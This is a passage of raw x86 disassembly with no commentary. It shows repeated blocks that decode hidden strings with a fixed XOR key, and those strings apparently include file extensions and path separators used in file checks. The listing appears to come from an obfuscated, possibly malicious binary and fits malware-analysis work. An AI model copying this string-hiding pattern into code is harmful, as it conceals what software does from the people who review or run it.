mov eax, dword [ebp - 0x8c8]
mov ecx, dword [ebp - 0x8c4]
mov dword [ebp - 0x11e8], eax
mov dword [ebp - 0x11e4], ecx
mov dword [ebp - 0x8d0], 0xdf9be395
mov dword [ebp - 0x8cc], 0xf940fadb
mov eax, dword [ebp - 0x8d0]
mov ecx, dword [ebp - 0x8cc]
mov dword [ebp - 0x1650], eax
mov dword [ebp - 0x8d8], 0x7dbb92e6
mov dword [ebp - 0x164c], ecx
mov dword [ebp - 0x8d4], 0x14d846fe
mov eax, dword [ebp - 0x8d8]
mov ecx, dword [ebp - 0x8d4]
movaps xmm1, xmmword [ebp - 0x11f0]
mov dword [ebp - 0x1648], eax
lea eax, [ebp - 0x11f0]
mov dword [ebp - 0x1644], ecx
lea ecx, [ebp - 0x22c8]
xorps xmm1, xmmword [ebp - 0x1650]
push eax
movaps xmmword [ebp - 0x11f0], xmm1
call fcn.00402cf0
mov dword [ebp - 4], 0x8d
mov edx, eax
mov ecx, dword [ebp - 0x18]
or ecx, 0x10
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x1f0]
call fcn.0041b780
test al, al
je 0x48b472
mov dword [ebp - 0x8e0], 0xa7f88cf1
mov dword [ebp - 0x8dc], 0xf940fadb
mov eax, dword [ebp - 0x8e0]
mov ecx, dword [ebp - 0x8dc]
mov dword [ebp - 0x1200], eax
mov dword [ebp - 0x11fc], ecx
mov dword [ebp - 0x8e8], 0x7dbb92e6
mov dword [ebp - 0x8e4], 0x14d846fe
mov eax, dword [ebp - 0x8e8]
mov ecx, dword [ebp - 0x8e4]
mov dword [ebp - 0x11f8], eax
mov dword [ebp - 0x11f4], ecx
mov dword [ebp - 0x8f0], 0xdf9be395
mov dword [ebp - 0x8ec], 0xf940fadb
mov eax, dword [ebp - 0x8f0]
mov ecx, dword [ebp - 0x8ec]
mov dword [ebp - 0x1660], eax
mov dword [ebp - 0x8f8], 0x7dbb92e6
mov dword [ebp - 0x165c], ecx
mov dword [ebp - 0x8f4], 0x14d846fe
mov eax, dword [ebp - 0x8f8]
mov ecx, dword [ebp - 0x8f4]
movaps xmm1, xmmword [ebp - 0x1200]
mov dword [ebp - 0x1658], eax
lea eax, [ebp - 0x1200]
mov dword [ebp - 0x1654], ecx
lea ecx, [ebp - 0x22b0]
xorps xmm1, xmmword [ebp - 0x1660]
push eax
movaps xmmword [ebp - 0x1200], xmm1
call fcn.00402cf0
mov dword [ebp - 4], 0x8e
mov edx, eax
mov ecx, dword [ebp - 0x18]
or ecx, 0x20
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x1f0]
call fcn.0041b780
test al, al
je 0x48b472
mov dword [ebp - 0x900], 0xdffc8de5
mov dword [ebp - 0x8fc], 0xf940fadb
mov eax, dword [ebp - 0x900]
mov ecx, dword [ebp - 0x8fc]
mov dword [ebp - 0xf00], eax
mov dword [ebp - 0xefc], ecx
mov dword [ebp - 0x908], 0x7dbb92e6
mov dword [ebp - 0x904], 0x14d846fe
mov eax, dword [ebp - 0x908]
mov ecx, dword [ebp - 0x904]
mov dword [ebp - 0xef8], eax
mov dword [ebp - 0xef4], ecx
mov dword [ebp - 0x910], 0xdf9be395
mov dword [ebp - 0x90c], 0xf940fadb
mov eax, dword [ebp - 0x910]
mov ecx, dword [ebp - 0x90c]
mov dword [ebp - 0x1670], eax
mov dword [ebp - 0x918], 0x7dbb92e6
mov dword [ebp - 0x166c], ecx
mov dword [ebp - 0x914], 0x14d846fe
mov eax, dword [ebp - 0x918]
mov ecx, dword [ebp - 0x914]
movaps xmm1, xmmword [ebp - 0xf00]
mov dword [ebp - 0x1668], eax
lea eax, [ebp - 0xf00]
mov dword [ebp - 0x1664], ecx
lea ecx, [ebp - 0x2298]
xorps xmm1, xmmword [ebp - 0x1670]
push eax
movaps xmmword [ebp - 0xf00], xmm1
call fcn.00402cf0
mov dword [ebp - 4], 0x8f
mov edx, eax
mov ecx, dword [ebp - 0x18]
or ecx, 0x40
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x1f0]
call fcn.0041b780
test al, al
je 0x48b472
mov dword [ebp - 0x920], 0xdffc93ff
mov dword [ebp - 0x91c], 0xf940fadb
mov eax, dword [ebp - 0x920]
mov ecx, dword [ebp - 0x91c]
mov dword [ebp - 0x1170], eax
mov dword [ebp - 0x116c], ecx
mov dword [ebp - 0x928], 0x7dbb92e6
mov dword [ebp - 0x924], 0x14d846fe
mov eax, dword [ebp - 0x928]
mov ecx, dword [ebp - 0x924]
mov dword [ebp - 0x1168], eax
mov dword [ebp - 0x1164], ecx
mov dword [ebp - 0x930], 0xdf9be395
mov dword [ebp - 0x92c], 0xf940fadb
mov eax, dword [ebp - 0x930]
mov ecx, dword [ebp - 0x92c]
mov dword [ebp - 0x1680], eax
mov dword [ebp - 0x938], 0x7dbb92e6
mov dword [ebp - 0x167c], ecx
mov dword [ebp - 0x934], 0x14d846fe
mov eax, dword [ebp - 0x938]
mov ecx, dword [ebp - 0x934]
movaps xmm1, xmmword [ebp - 0x1170]
mov dword [ebp - 0x1678], eax
lea eax, [ebp - 0x1170]
mov dword [ebp - 0x1674], ecx
lea ecx, [ebp - 0x2280]
xorps xmm1, xmmword [ebp - 0x1680]
push eax
movaps xmmword [ebp - 0x1170], xmm1
call fcn.00402cf0
mov dword [ebp - 4], 0x90
mov edx, eax
mov ecx, dword [ebp - 0x18]
or ecx, 0x80
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x1f0]
call fcn.0041b780
test al, al
je 0x48b472
mov dword [ebp - 0x940], 0xb8fe93ff
mov dword [ebp - 0x93c], 0xf940fadb
mov eax, dword [ebp - 0x940]
mov ecx, dword [ebp - 0x93c]
mov dword [ebp - 0x1230], eax
mov dword [ebp - 0x122c], ecx
mov dword [ebp - 0x948], 0x7dbb92e6
mov dword [ebp - 0x944], 0x14d846fe
mov eax, dword [ebp - 0x948]
mov ecx, dword [ebp - 0x944]
mov dword [ebp - 0x1228], eax
mov dword [ebp - 0x1224], ecx
mov dword [ebp - 0x950], 0xdf9be395
mov dword [ebp - 0x94c], 0xf940fadb
mov eax, dword [ebp - 0x950]
mov ecx, dword [ebp - 0x94c]
mov dword [ebp - 0x1720], eax
mov dword [ebp - 0x958], 0x7dbb92e6
mov dword [ebp - 0x171c], ecx
mov dword [ebp - 0x954], 0x14d846fe
mov eax, dword [ebp - 0x958]
mov ecx, dword [ebp - 0x954]
movaps xmm1, xmmword [ebp - 0x1230]
mov dword [ebp - 0x1718], eax
lea eax, [ebp - 0x1230]
mov dword [ebp - 0x1714], ecx
lea ecx, [ebp - 0x20a0]
xorps xmm1, xmmword [ebp - 0x1720]
push eax
movaps xmmword [ebp - 0x1230], xmm1
call fcn.00402cf0
mov dword [ebp - 4], 0x91
mov edx, eax
mov ecx, dword [ebp - 0x18]
or ecx, 0x100
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x1f0]
call fcn.0041b780
test al, al
je 0x48b472
mov dword [ebp - 0x960], 0xdfeb8ef7
mov dword [ebp - 0x95c], 0xf940fadb
mov eax, dword [ebp - 0x960]
mov ecx, dword [ebp - 0x95c]
mov dword [ebp - 0x1240], eax
mov dword [ebp - 0x123c], ecx
mov dword [ebp - 0x968], 0x7dbb92e6
mov dword [ebp - 0x964], 0x14d846fe
mov eax, dword [ebp - 0x968]
mov ecx, dword [ebp - 0x964]
mov dword [ebp - 0x1238], eax
mov dword [ebp - 0x1234], ecx
mov dword [ebp - 0x970], 0xdf9be395
mov dword [ebp - 0x96c], 0xf940fadb
mov eax, dword [ebp - 0x970]
mov ecx, dword [ebp - 0x96c]
mov dword [ebp - 0x1730], eax
mov dword [ebp - 0x978], 0x7dbb92e6
mov dword [ebp - 0x172c], ecx
mov dword [ebp - 0x974], 0x14d846fe
mov eax, dword [ebp - 0x978]
mov ecx, dword [ebp - 0x974]
movaps xmm1, xmmword [ebp - 0x1240]
mov dword [ebp - 0x1728], eax
lea eax, [ebp - 0x1240]
mov dword [ebp - 0x1724], ecx
lea ecx, [ebp - 0x2268]
xorps xmm1, xmmword [ebp - 0x1730]
push eax
movaps xmmword [ebp - 0x1240], xmm1
call fcn.00402cf0
mov dword [ebp - 4], 0x92
mov edx, eax
mov ecx, dword [ebp - 0x18]
or ecx, 0x200
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x1f0]
call fcn.0041b780
test al, al
je 0x48b472
mov dword [ebp - 0x980], 0xdfef82f7
mov dword [ebp - 0x97c], 0xf940fadb
mov eax, dword [ebp - 0x980]
mov ecx, dword [ebp - 0x97c]
mov dword [ebp - 0x1250], eax
mov dword [ebp - 0x124c], ecx
mov dword [ebp - 0x988], 0x7dbb92e6
mov dword [ebp - 0x984], 0x14d846fe
mov eax, dword [ebp - 0x988]
mov ecx, dword [ebp - 0x984]
mov dword [ebp - 0x1248], eax
mov dword [ebp - 0x1244], ecx
mov dword [ebp - 0x990], 0xdf9be395
mov dword [ebp - 0x98c], 0xf940fadb
mov eax, dword [ebp - 0x990]
mov ecx, dword [ebp - 0x98c]
mov dword [ebp - 0x1740], eax
mov dword [ebp - 0x998], 0x7dbb92e6
mov dword [ebp - 0x173c], ecx
mov dword [ebp - 0x994], 0x14d846fe
mov eax, dword [ebp - 0x998]
mov ecx, dword [ebp - 0x994]
movaps xmm1, xmmword [ebp - 0x1250]
mov dword [ebp - 0x1738], eax
lea eax, [ebp - 0x1250]
mov dword [ebp - 0x1734], ecx
lea ecx, [ebp - 0x2250]
xorps xmm1, xmmword [ebp - 0x1740]
push eax
movaps xmmword [ebp - 0x1250], xmm1
call fcn.00402cf0
mov dword [ebp - 4], 0x93
mov edx, eax
mov ecx, dword [ebp - 0x18]
or ecx, 0x400
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x1f0]
call fcn.0041b780
test al, al
je 0x48b472
mov dword [ebp - 0x9a0], 0xdfe881e3
mov dword [ebp - 0x99c], 0xf940fadb
mov eax, dword [ebp - 0x9a0]
mov ecx, dword [ebp - 0x99c]
mov dword [ebp - 0x1210], eax
mov dword [ebp - 0x120c], ecx
mov dword [ebp - 0x9a8], 0x7dbb92e6
mov dword [ebp - 0x9a4], 0x14d846fe
mov eax, dword [ebp - 0x9a8]
mov ecx, dword [ebp - 0x9a4]
mov dword [ebp - 0x1208], eax
mov dword [ebp - 0x1204], ecx
mov dword [ebp - 0x9b0], 0xdf9be395
mov dword [ebp - 0x9ac], 0xf940fadb
mov eax, dword [ebp - 0x9b0]
mov ecx, dword [ebp - 0x9ac]
mov dword [ebp - 0x1750], eax
mov dword [ebp - 0x9b8], 0x7dbb92e6
mov dword [ebp - 0x174c], ecx
mov dword [ebp - 0x9b4], 0x14d846fe
mov eax, dword [ebp - 0x9b8]
mov ecx, dword [ebp - 0x9b4]
movaps xmm1, xmmword [ebp - 0x1210]
mov dword [ebp - 0x1748], eax
lea eax, [ebp - 0x1210]
mov dword [ebp - 0x1744], ecx
lea ecx, [ebp - 0x2238]
xorps xmm1, xmmword [ebp - 0x1750]
push eax
movaps xmmword [ebp - 0x1210], xmm1
call fcn.00402cf0
mov dword [ebp - 4], 0x94
mov edx, eax
mov ecx, dword [ebp - 0x18]
or ecx, 0x800
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x1f0]
call fcn.0041b780
mov byte [ebp - 0x11], 1
test al, al
jne 0x48b476
mov byte [ebp - 0x11], 0
mov dword [ebp - 4], 0x93
mov eax, dword [ebp - 0x18]
test eax, 0x800
je 0x48b49d
and eax, 0xfffff7ff
lea ecx, [ebp - 0x2238]
mov dword [ebp - 0x18], eax
call fcn.00402df0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], 0x92
test eax, 0x400
je 0x48b4c1
and eax, 0xfffffbff
lea ecx, [ebp - 0x2250]
mov dword [ebp - 0x18], eax
call fcn.00402df0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], 0x91
test eax, 0x200
je 0x48b4e5
and eax, 0xfffffdff
lea ecx, [ebp - 0x2268]
mov dword [ebp - 0x18], eax
call fcn.00402df0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], 0x90
test eax, 0x100
je 0x48b509
and eax, 0xfffffeff
lea ecx, [ebp - 0x20a0]
mov dword [ebp - 0x18], eax
call fcn.00402df0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], 0x8f
test al, al
jns 0x48b52a
and eax, 0xffffff7f
lea ecx, [ebp - 0x2280]
mov dword [ebp - 0x18], eax
call fcn.00402df0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], 0x8e
test al, 0x40
je 0x48b549
and eax, 0xffffffbf
lea ecx, [ebp - 0x2298]
mov dword [ebp - 0x18], eax
call fcn.00402df0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], 0x8d
test al, 0x20
je 0x48b568
and eax, 0xffffffdf
lea ecx, [ebp - 0x22b0]
mov dword [ebp - 0x18], eax
call fcn.00402df0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], 0x8c
test al, 0x10
je 0x48b587
and eax, 0xffffffef
lea ecx, [ebp - 0x22c8]
mov dword [ebp - 0x18], eax
call fcn.00402df0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], 0x8b
test al, 8
je 0x48b5a6
and eax, 0xfffffff7
lea ecx, [ebp - 0x22e0]
mov dword [ebp - 0x18], eax
call fcn.00402df0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], 0x8a
test al, 4
je 0x48b5c5
and eax, 0xfffffffb
lea ecx, [ebp - 0x22f8]
mov dword [ebp - 0x18], eax
call fcn.00402df0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], 0x89
test al, 2
je 0x48b5e4
and eax, 0xfffffffd
lea ecx, [ebp - 0x2310]
mov dword [ebp - 0x18], eax
call fcn.00402df0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], 0x88
test al, 1
je 0x48b600
and eax, 0xfffffffe
lea ecx, [ebp - 0x2328]
mov dword [ebp - 0x18], eax
call fcn.00402df0
cmp byte [ebp - 0x11], 0
je 0x48b6e1
mov dword [ebp - 0x9c0], 0xdffe9bf0
mov dword [ebp - 0x9bc], 0xf940fadb
mov eax, dword [ebp - 0x9c0]
mov ecx, dword [ebp - 0x9bc]
mov dword [ebp - 0x1080], eax
mov dword [ebp - 0x107c], ecx
mov dword [ebp - 0x9c8], 0x7dbb92e6
mov dword [ebp - 0x9c4], 0x14d846fe
mov eax, dword [ebp - 0x9c8]
mov ecx, dword [ebp - 0x9c4]
mov dword [ebp - 0x1078], eax
mov dword [ebp - 0x1074], ecx
mov dword [ebp - 0x9d0], 0xdf9be395
mov dword [ebp - 0x9cc], 0xf940fadb
mov eax, dword [ebp - 0x9d0]
mov ecx, dword [ebp - 0x9cc]
mov dword [ebp - 0x1760], eax
mov dword [ebp - 0x9d8], 0x7dbb92e6
mov dword [ebp - 0x175c], ecx
mov dword [ebp - 0x9d4], 0x14d846fe
mov eax, dword [ebp - 0x9d8]
mov ecx, dword [ebp - 0x9d4]
movaps xmm1, xmmword [ebp - 0x1080]
mov dword [ebp - 0x1758], eax
lea eax, [ebp - 0x1080]
mov dword [ebp - 0x1754], ecx
lea ecx, [ebp - 0x1f0]
xorps xmm1, xmmword [ebp - 0x1760]
push eax
movaps xmmword [ebp - 0x1080], xmm1
call fcn.00416260
mov dword [ebp - 0x9e0], 0xdf9be3bb
mov edx, 0x14
mov dword [ebp - 0x9dc], 0xf940fadb
mov eax, dword [ebp - 0x9e0]
mov ecx, dword [ebp - 0x9dc]
mov dword [ebp - 0x126c], ecx
mov dword [ebp - 0x1270], eax
mov dword [ebp - 0x9e8], 0x7dbb92e6
mov dword [ebp - 0x9e4], 0x14d846fe
mov eax, dword [ebp - 0x9e8]
mov ecx, dword [ebp - 0x9e4]
mov dword [ebp - 0x1264], ecx
mov dword [ebp - 0x1268], eax
mov dword [ebp - 0x9f0], 0xdf9be395
mov dword [ebp - 0x9ec], 0xf940fadb
mov eax, dword [ebp - 0x9f0]
mov ecx, dword [ebp - 0x9ec]
mov dword [ebp - 0xd38], 0x7dbb92e6
mov dword [ebp - 0x1990], eax
mov dword [ebp - 0x198c], ecx
mov dword [ebp - 0xd34], 0x14d846fe
mov eax, dword [ebp - 0xd38]
mov ecx, dword [ebp - 0xd34]
movaps xmm1, xmmword [ebp - 0x1270]
mov dword [ebp - 0x1984], ecx
lea ecx, [ebp - 0x23a0]
mov dword [ebp - 0x1988], eax
xorps xmm1, xmmword [ebp - 0x1990]
movaps xmmword [ebp - 0x1270], xmm1
call fcn.004e63a0
mov esi, eax
mov byte [ebp - 4], 0x95
mov dword [ebp - 0x9f8], 0xdf9be3c9
mov dword [ebp - 0x9f4], 0xf940fadb
mov ecx, dword [ebp - 0x9f8]
mov edx, dword [ebp - 0x9f4]
mov dword [ebp - 0x1260], ecx
mov dword [ebp - 0x125c], edx
lea edx, [ebx + 0x80]
mov dword [ebp - 0xa00], 0x7dbb92e6
mov dword [ebp - 0x9fc], 0x14d846fe
mov eax, dword [ebp - 0xa00]
mov ecx, dword [ebp - 0x9fc]
mov dword [ebp - 0x1258], eax
mov dword [ebp - 0x1254], ecx
mov dword [ebp - 0xa08], 0xdf9be395
mov dword [ebp - 0xa04], 0xf940fadb
mov eax, dword [ebp - 0xa08]
mov ecx, dword [ebp - 0xa04]
mov dword [ebp - 0x19a0], eax
mov dword [ebp - 0xa10], 0x7dbb92e6
mov dword [ebp - 0x199c], ecx
mov dword [ebp - 0xa0c], 0x14d846fe
mov eax, dword [ebp - 0xa10]
mov ecx, dword [ebp - 0xa0c]
movaps xmm1, xmmword [ebp - 0x1260]
mov dword [ebp - 0x1998], eax
lea eax, [ebp - 0x1260]
mov dword [ebp - 0x1994], ecx
lea ecx, [ebp - 0x2388]
xorps xmm1, xmmword [ebp - 0x19a0]
push eax
movaps xmmword [ebp - 0x1260], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x96
mov edx, eax
push esi
lea ecx, [ebp - 0x2370]
call fcn.0041ae20
add esp, 4
mov byte [ebp - 4], 0x97
lea ecx, [ebp - 0x1270]
push ecx
mov edx, eax
lea ecx, [ebp - 0x2340]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0x98
lea ecx, [ebp - 0x1f0]
push ecx
mov edx, eax
lea ecx, [ebp - 0x1c30]
call fcn.0041ad80
add esp, 4
mov byte [ebp - 4], 0x9a
lea ecx, [ebp - 0x2340]
call fcn.00402df0
mov byte [ebp - 4], 0x9b
lea ecx, [ebp - 0x2370]
call fcn.00402df0
mov byte [ebp - 4], 0x9c
lea ecx, [ebp - 0x2388]
call fcn.00402df0
mov byte [ebp - 4], 0x9d
lea ecx, [ebp - 0x23a0]
call fcn.00402df0
mov dword [ebp - 0xa18], 0xafef97fd
mov dword [ebp - 0xa14], 0xd66fc0a8
mov eax, dword [ebp - 0xa18]
mov ecx, dword [ebp - 0xa14]
mov dword [ebp - 0x127c], ecx
mov dword [ebp - 0x1280], eax
mov dword [ebp - 0xa20], 0x7dbb92e6
mov dword [ebp - 0xa1c], 0x14d846fe
mov eax, dword [ebp - 0xa20]
mov ecx, dword [ebp - 0xa1c]
mov dword [ebp - 0x1274], ecx
mov dword [ebp - 0x1278], eax
mov dword [ebp - 0xa28], 0xdf9be395
mov dword [ebp - 0xa24], 0xf940fadb
mov eax, dword [ebp - 0xa28]
mov ecx, dword [ebp - 0xa24]
mov dword [ebp - 0xa30], 0x7dbb92e6
mov dword [ebp - 0x19b0], eax
mov dword [ebp - 0x19ac], ecx
mov dword [ebp - 0xa2c], 0x14d846fe
mov eax, dword [ebp - 0xa30]
mov ecx, dword [ebp - 0xa2c]
movaps xmm1, xmmword [ebp - 0x1280]
mov dword [ebp - 0x19a4], ecx
lea ecx, [ebp - 0x1d24]
mov dword [ebp - 0x19a8], eax
xorps xmm1, xmmword [ebp - 0x19b0]
movaps xmmword [ebp - 0x1280], xmm1
call fcn.00416090
lea ecx, [ebp - 0x1280]
push ecx
push eax
call fcn.00434e60
add esp, 8
lea ecx, [ebp - 0x1c30]
test eax, eax
setne byte [ebp - 0x17c]
call fcn.00416090
lea ecx, [ebp - 0x1d24]
mov esi, eax
call fcn.00416090
sub esp, 8
mov edx, esi
mov ecx, eax
push dword [ebp - 0x17c]
call fcn.004eea40
add esp, 0xc
test al, al
je 0x48e575
xorps xmm0, xmm0
mov byte [ebp - 0x15ac], 0
lea ecx, [ebp - 0x2a80]
movups xmmword [ebp - 0x15cc], xmm0
movups xmmword [ebp - 0x15bc], xmm0
call fcn.004ef6d0
lea ecx, [ebp - 0x1d3c]
call fcn.00416090
push dword [ebp - 0x1d2c]
lea ecx, [ebp - 0x2a80]
push eax
call fcn.004ef600
push ecx
lea ecx, [ebp - 0x2a80]
call fcn.004ef4b0
cmp byte [ebp - 0x29e4], 0
je 0x48babe
movups xmm0, xmmword [ebp - 0x29d3]
mov al, byte [ebp - 0x29b3]
mov byte [ebp - 0x15ac], al
movups xmmword [ebp - 0x15cc], xmm0
movups xmm0, xmmword [ebp - 0x29c3]
movups xmmword [ebp - 0x15bc], xmm0
mov dword [ebp - 0xa38], 0xbdf487d4
lea edx, [ebp - 0x1290]
mov dword [ebp - 0xa34], 0x9d30afbe
mov eax, dword [ebp - 0xa38]
mov ecx, dword [ebp - 0xa34]
mov dword [ebp - 0x128c], ecx
mov dword [ebp - 0x1290], eax
mov dword [ebp - 0xa40], 0xfdee687
mov dword [ebp - 0xa3c], 0x14d846a8
mov eax, dword [ebp - 0xa40]
mov ecx, dword [ebp - 0xa3c]
mov dword [ebp - 0x1284], ecx
mov dword [ebp - 0x1288], eax
mov dword [ebp - 0xa48], 0xdf9be395
mov dword [ebp - 0xa44], 0xf940fadb
mov eax, dword [ebp - 0xa48]
mov ecx, dword [ebp - 0xa44]
mov dword [ebp - 0xa50], 0x7dbb92e6
mov dword [ebp - 0x19c0], eax
mov dword [ebp - 0x19bc], ecx
mov dword [ebp - 0xa4c], 0x14d846fe
mov eax, dword [ebp - 0xa50]
mov ecx, dword [ebp - 0xa4c]
movaps xmm1, xmmword [ebp - 0x1290]
mov dword [ebp - 0x19b4], ecx
lea ecx, [ebp - 0x1db0]
mov dword [ebp - 0x19b8], eax
xorps xmm1, xmmword [ebp - 0x19c0]
push 0x586da4
movaps xmmword [ebp - 0x1290], xmm1
call fcn.0041ac50
add esp, 4
mov byte [ebp - 4], 0x9e
lea edx, [ebp - 0x12a0]
mov dword [ebp - 0xa58], 0xbafc87d0
mov dword [ebp - 0xa54], 0xf940a996
mov eax, dword [ebp - 0xa58]
mov ecx, dword [ebp - 0xa54]
mov dword [ebp - 0x129c], ecx
mov dword [ebp - 0x12a0], eax
mov dword [ebp - 0xa60], 0x7dbb92e6
mov dword [ebp - 0xa5c], 0x14d846fe
mov eax, dword [ebp - 0xa60]
mov ecx, dword [ebp - 0xa5c]
mov dword [ebp - 0x1294], ecx
mov dword [ebp - 0x1298], eax
mov dword [ebp - 0xa68], 0xdf9be395
mov dword [ebp - 0xa64], 0xf940fadb
mov eax, dword [ebp - 0xa68]
mov ecx, dword [ebp - 0xa64]
mov dword [ebp - 0xa70], 0x7dbb92e6
mov dword [ebp - 0x19d0], eax
mov dword [ebp - 0x19cc], ecx
mov dword [ebp - 0xa6c], 0x14d846fe
mov eax, dword [ebp - 0xa70]
mov ecx, dword [ebp - 0xa6c]
movaps xmm1, xmmword [ebp - 0x12a0]
mov dword [ebp - 0x19c4], ecx
lea ecx, [ebp - 0x1d0c]
mov dword [ebp - 0x19c8], eax
xorps xmm1, xmmword [ebp - 0x19d0]
push 0x586da4
movaps xmmword [ebp - 0x12a0], xmm1
call fcn.0041ac50
add esp, 4
mov byte [ebp - 4], 0x9f
mov dword [ebp - 0xa78], 0x8ad2b0d8
mov dword [ebp - 0xa74], 0x8d219eab
mov eax, dword [ebp - 0xa78]
mov ecx, dword [ebp - 0xa74]
mov dword [ebp - 0x12b0], eax
mov dword [ebp - 0x12ac], ecx
mov dword [ebp - 0xa80], 0x7dede083
mov dword [ebp - 0xa7c], 0x14d846fe
mov eax, dword [ebp - 0xa80]
mov ecx, dword [ebp - 0xa7c]
mov dword [ebp - 0x12a8], eax
mov dword [ebp - 0x12a4], ecx
mov dword [ebp - 0xa88], 0xdf9be395
mov dword [ebp - 0xa84], 0xf940fadb
lea edx, [ebp - 0x12b0]
mov eax, dword [ebp - 0xa88]
mov ecx, dword [ebp - 0xa84]
mov dword [ebp - 0xa90], 0x7dbb92e6
mov dword [ebp - 0x1a10], eax
mov dword [ebp - 0x1a0c], ecx
mov dword [ebp - 0xa8c], 0x14d846fe
mov eax, dword [ebp - 0xa90]
mov ecx, dword [ebp - 0xa8c]
movaps xmm1, xmmword [ebp - 0x12b0]
mov dword [ebp - 0x1a04], ecx
lea ecx, [ebp - 0x1cf4]
mov dword [ebp - 0x1a08], eax
xorps xmm1, xmmword [ebp - 0x1a10]
push 0x586da4
movaps xmmword [ebp - 0x12b0], xmm1
call fcn.0041ac50
add esp, 4
mov byte [ebp - 4], 0xa0
cmp byte [ebp - 0x45], 0
je 0x48c6c0
mov dword [ebp - 0xa98], 0x9ed8acd9
mov dword [ebp - 0xa94], 0xa910bb97
mov eax, dword [ebp - 0xa98]
mov ecx, dword [ebp - 0xa94]
mov dword [ebp - 0x12c0], eax
mov dword [ebp - 0x12bc], ecx
mov dword [ebp - 0xaa0], 0x3cefd3a2
mov dword [ebp - 0xa9c], 0x14d846fe
mov eax, dword [ebp - 0xaa0]
mov ecx, dword [ebp - 0xa9c]
mov dword [ebp - 0x12b8], eax
mov dword [ebp - 0x12b4], ecx
mov dword [ebp - 0xaa8], 0xdf9be395
mov dword [ebp - 0xaa4], 0xf940fadb
mov eax, dword [ebp - 0xaa8]
mov ecx, dword [ebp - 0xaa4]
mov dword [ebp - 0x1a20], eax
mov dword [ebp - 0xab0], 0x7dbb92e6
mov dword [ebp - 0x1a1c], ecx
mov dword [ebp - 0xaac], 0x14d846fe
mov eax, dword [ebp - 0xab0]
mov ecx, dword [ebp - 0xaac]
movaps xmm1, xmmword [ebp - 0x12c0]
mov dword [ebp - 0x1a18], eax
lea eax, [ebp - 0x12c0]
mov dword [ebp - 0x1a14], ecx
xorps xmm1, xmmword [ebp - 0x1a20]
push eax
movaps xmmword [ebp - 0x12c0], xmm1
call fcn.004423e1
add esp, 4
test eax, eax
je 0x48c6c0
push eax
lea ecx, [ebp - 0x1c48]
call fcn.00402cf0
mov byte [ebp - 4], 0xa1
mov dword [ebp - 0xab8], 0xdf9be3c9
mov dword [ebp - 0xab4], 0xf940fadb
mov eax, dword [ebp - 0xab8]
mov ecx, dword [ebp - 0xab4]
mov dword [ebp - 0x12d0], eax
mov dword [ebp - 0x12cc], ecx
mov dword [ebp - 0xac0], 0x7dbb92e6
mov dword [ebp - 0xabc], 0x14d846fe
mov eax, dword [ebp - 0xac0]
mov ecx, dword [ebp - 0xabc]
mov dword [ebp - 0x12c8], eax
mov dword [ebp - 0x12c4], ecx
mov dword [ebp - 0xac8], 0xdf9be395
mov dword [ebp - 0xac4], 0xf940fadb
mov eax, dword [ebp - 0xac8]
mov ecx, dword [ebp - 0xac4]
mov dword [ebp - 0x1a30], eax
mov dword [ebp - 0xad0], 0x7dbb92e6
mov dword [ebp - 0x1a2c], ecx
mov dword [ebp - 0xacc], 0x14d846fe
mov eax, dword [ebp - 0xad0]
mov ecx, dword [ebp - 0xacc]
movaps xmm1, xmmword [ebp - 0x12d0]
mov dword [ebp - 0x1a28], eax
lea eax, [ebp - 0x12d0]
mov dword [ebp - 0x1a24], ecx
lea ecx, [ebp - 0x1c48]
xorps xmm1, xmmword [ebp - 0x1a30]
push eax
movaps xmmword [ebp - 0x12d0], xmm1
call fcn.00416210
mov dword [ebp - 0xad8], 0xdf9be3ca
lea edx, [ebp - 0x1db0]
mov dword [ebp - 0xad4], 0xf940fadb
mov eax, dword [ebp - 0xad8]
mov ecx, dword [ebp - 0xad4]
mov dword [ebp - 0x1220], eax
mov dword [ebp - 0x121c], ecx
mov dword [ebp - 0xae0], 0x7dbb92e6
mov dword [ebp - 0xadc], 0x14d846fe
mov eax, dword [ebp - 0xae0]
mov ecx, dword [ebp - 0xadc]
mov dword [ebp - 0x1218], eax
mov dword [ebp - 0x1214], ecx
mov dword [ebp - 0xae8], 0xdf9be395
mov dword [ebp - 0xae4], 0xf940fadb
mov eax, dword [ebp - 0xae8]
mov ecx, dword [ebp - 0xae4]
mov dword [ebp - 0x1a40], eax
mov dword [ebp - 0xaf0], 0x7dbb92e6
mov dword [ebp - 0x1a3c], ecx
mov dword [ebp - 0xaec], 0x14d846fe
mov eax, dword [ebp - 0xaf0]
mov ecx, dword [ebp - 0xaec]
movaps xmm1, xmmword [ebp - 0x1220]
mov dword [ebp - 0x1a38], eax
lea eax, [ebp - 0x1220]
mov dword [ebp - 0x1a34], ecx
lea ecx, [ebp - 0x23d0]
xorps xmm1, xmmword [ebp - 0x1a40]
push eax
movaps xmmword [ebp - 0x1220], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0xa2
lea ecx, [ebp - 0x15cc]
push ecx
mov edx, eax
lea ecx, [ebp - 0x23b8]
call fcn.0041abb0
add esp, 4
mov byte [ebp - 4], 0xa3
lea ecx, [ebp - 0x1c48]
push eax
call fcn.00416240
mov byte [ebp - 4], 0xa2
lea ecx, [ebp - 0x23b8]
call fcn.00402df0
mov byte [ebp - 4], 0xa1
lea ecx, [ebp - 0x23d0]
call fcn.00402df0
lea ecx, [ebp - 0x1c48]
call fcn.00416090
mov ecx, eax
call fcn.004e6ca0
test al, al
jne 0x48c083
lea ecx, [ebp - 0x1c48]
call fcn.00408860
